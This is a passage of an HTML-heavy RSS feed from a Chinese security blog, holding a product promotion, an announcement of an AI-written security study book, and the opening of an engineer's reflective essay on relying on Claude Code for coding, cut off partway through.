400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" nodeleaf=""><img data-aistatus="1" alt="image-20260628180145001" class="rich_pages wxw-img" data-ratio="0.7055555555555556" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;" data-imgfileid="100016951" src="https://wechat2rss.xlab.app/img-proxy/?k=484c08ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTbltIRYdGZDriccIHRZNKfIvDu2T4G1KEFGRPJm1np7UebtW0R1yWJqkU3ksMQjj1TULicUh5N5CCCckHqBy6E3vnIQveVTRKqDY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">后续还会对 IP 做标记，根据自己的规则来判断 IP 的归属，这个功能也只有激活用户可以使用，永久激活只需 10 元！</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span leaf="">文库和成长平台合并：<a href="https://www.xazlsec.com" target="_blank">https://www.xazlsec.com</a></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span leaf="">资产管理系统与POC系统合并：<a href="https://src.xazlsec.com" target="_blank">https://src.xazlsec.com</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.xazlsec.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=44e57400&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500603%26idx%3D1%26sn%3D2b6f39534cc715ba5de223fb13aaa30e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 28 Jun 2026 18:05:00 +0800</pubDate>
    </item>
    <item>
      <title>我写了一本书 !!!</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500593&amp;idx=1&amp;sn=2f7034952609695883eea1900109ffa9</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>xazlsec</span> <span>2026-06-14 09:49</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=221a06f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FVnwOz8XYCTYKyzau1YqDibtJhMR7Jap81H0kN20lEudRFLkJqQ1ZxJm89IwR4QPzXPKBpwKcmg2W24cSbeTZa55iceney5MvuMaD2ZfwAibOxk%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;"><span leaf="">我写了一本书，这本书的名字叫《365天学安全》，但是这不是一本出版书籍，也不是由我一字一句的写出来的，而是让 AI 来完成架构设计以及内容填充而来，可以访问以下链接直接查看（阅读原文直达）：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="https://www.xazlsec.com/wiki/project-57/doc-8655/" target="_blank">https://www.xazlsec.com/wiki/project-57/doc-8655/</a></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" nodeleaf=""><img alt="image-20260614093326071" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100016940" data-ratio="0.4722222222222222" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f2c9e787&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTY8FDM73KRN4yXziaMticydA0XSicOpXpjLKibr51rNSFNiaceqUy0Vd1xibqHiajwEofZT9LF6Bz9BwPiap0h8BRZSxiaEHWurG4uWRaMg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">一共分为十二章，从网站安全基础到 web 安全、系统安全、应用安全再到相对比较新的云安全、物联网工控安全等，每一章都经过细化，整个体系，一共 360 篇左右，前前后后一共使用了 2 天时间完成，相当于一本在 AI 眼中的信息安全。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">至于写的怎么样，还得大家自己去看看才可以，我就不多说什么了，最近将信安之路的产品进行了重写，将过去的成长平台和文库进行了合并，给资产监控系统增加了 POC，从 4 个系统合并成了 2 个，欢迎体验！</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" nodeleaf=""><img data-aistatus="1" alt="image-20260614093929686" class="rich_pages wxw-img" data-ratio="0.5222222222222223" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;" data-imgfileid="100016941" src="https://wechat2rss.xlab.app/img-proxy/?k=30cd7065&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTaibUNYJ9oSCgwM9ibppMK5mibqDtByWLMnqHOWEcGu86ibDq8pzpN8s12gEZYeI0aRpTotg5SxujWzDiazNHic8zQn9yqpADBm09GJc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">过去注册过成长平台的用户，还可以使用原来的账号密码登录系统，知识库的过期时间是与知识星球的过期时间一致的，所有成长平台 300 分以上的用户将获得知识库的永久访问权限。</span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.xazlsec.com/wiki/project-57/doc-8655/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=09f637e6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500593%26idx%3D1%26sn%3D2f7034952609695883eea1900109ffa9">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 14 Jun 2026 09:49:00 +0800</pubDate>
    </item>
    <item>
      <title>AI 时代，一个安全工程师的自述</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500587&amp;idx=1&amp;sn=26ed4c0dbec2499c41c0445332080a9c</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>老狼</span> <span>2026-06-02 10:09</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=71be25cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FVnwOz8XYCTaeK0C11UmEbWwSqHhsviaHgAnsyFuqOUwqV3JQuafPJNkeSBXoxs43icZrFbTyo2Ycgd9dR3U2HIJ4G0Kwj9W9MIibicNJMRBrd28%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p class="js_darkmode__text__0"><span style="color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []" class="js_darkmode__0 js_darkmode__text__1"><span leaf="" class="js_darkmode__text__2">我现在一天说最多的不是“这个bug我找到了”，</span></span><span leaf=""><br/></span><span style="color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__1 js_darkmode__text__3"><span leaf="" class="js_darkmode__text__4">而是 </span></span><strong style="font-weight: 600;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__2 js_darkmode__text__5"><span leaf="" class="js_darkmode__text__6">OK, Yes, Go, Continue, Review, Fix and Retry.</span></strong></p><p class="js_darkmode__text__7"><strong style="font-weight: 600;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__3 js_darkmode__text__8"><span leaf="" class="js_darkmode__text__9">先别笑。</span><span leaf=""><br/></span><span style="color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__4 js_darkmode__text__10"><span leaf="" class="js_darkmode__text__11">你笑得太早了。</span></span></strong></p><h2 style="font: 700 22px / 32px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;margin: 32px 0px 16px;color: rgb(15, 17, 21);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []" class="js_darkmode__5 js_darkmode__text__12"><span leaf="" class="js_darkmode__text__13">一、</span></h2><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__6 js_darkmode__text__14"><span leaf="" class="js_darkmode__text__15">事情要从上个月说起。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__7 js_darkmode__text__16"><span leaf="" class="js_darkmode__text__17"><span>那天我习惯性打开</span><span class="" link-id="link-1780365957612-0.5386131327635171">Claude Code</span><span>，让它帮我写一个接口。三十秒钟后，代码出来了，逻辑清晰，命名优雅，连注释都给我写得像诗歌一样押韵。</span></span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__8 js_darkmode__text__18"><span leaf="" class="js_darkmode__text__19">我愣了一下，然后在聊天框里打出一个：</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__9 js_darkmode__text__20"><strong style="font-weight: 600;" class="js_darkmode__text__21"><span leaf="" class="js_darkmode__text__22">“OK。”</span></strong></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__10 js_darkmode__text__23"><span leaf="" class="js_darkmode__text__24">AI没说什么。它继续问我：“要不要加个缓存？”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__11 js_darkmode__text__25"><span leaf="" class="js_darkmode__text__26">我说：“Yes。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__12 js_darkmode__text__27"><span leaf="" class="js_darkmode__text__28">“这个循环复杂度有点高，我帮你重构一下？”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__13 js_darkmode__text__29"><span leaf="" class="js_darkmode__text__30">“Go.”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__14 js_darkmode__text__31"><span leaf="" class="js_darkmode__text__32">“还有，这里可能存在SQL注入风险。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__15 js_darkmode__text__33"><span leaf="" class="js_darkmode__text__34">我本能地打出了那句已经刻进DNA的话：</span><span leaf=""><br/></span><strong style="font-weight: 600;" class="js_darkmode__text__35"><span leaf="" class="js_darkmode__text__36">“Review and Fix.”</span></strong></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__16 js_darkmode__text__37"><span leaf="" class="js_darkmode__text__38">它修了。三秒。一个PR发过来。我看了眼，合并。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__17 js_darkmode__text__39"><span leaf="" class="js_darkmode__text__40">然后我突然意识到一件事——</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__18 js_darkmode__text__41"><strong style="font-weight: 600;" class="js_darkmode__text__42"><span leaf="" class="js_darkmode__text__43">我已经整整一个上午没写过一行代码了。</span></strong></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__19 js_darkmode__text__44"><span leaf="" class="js_darkmode__text__45">而我竟然觉得很爽。</span></p><hr style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0.1);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;height: 1px;margin: 32px 0px;display: block;font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__20"/><h2 style="font: 700 22px / 32px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;margin: 32px 0px 16px;color: rgb(15, 17, 21);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__21 js_darkmode__text__46"><span leaf="" class="js_darkmode__text__47">二、</span></h2><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__22 js_darkmode__text__48"><span leaf="" class="js_darkmode__text__49">以前不是这样的。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 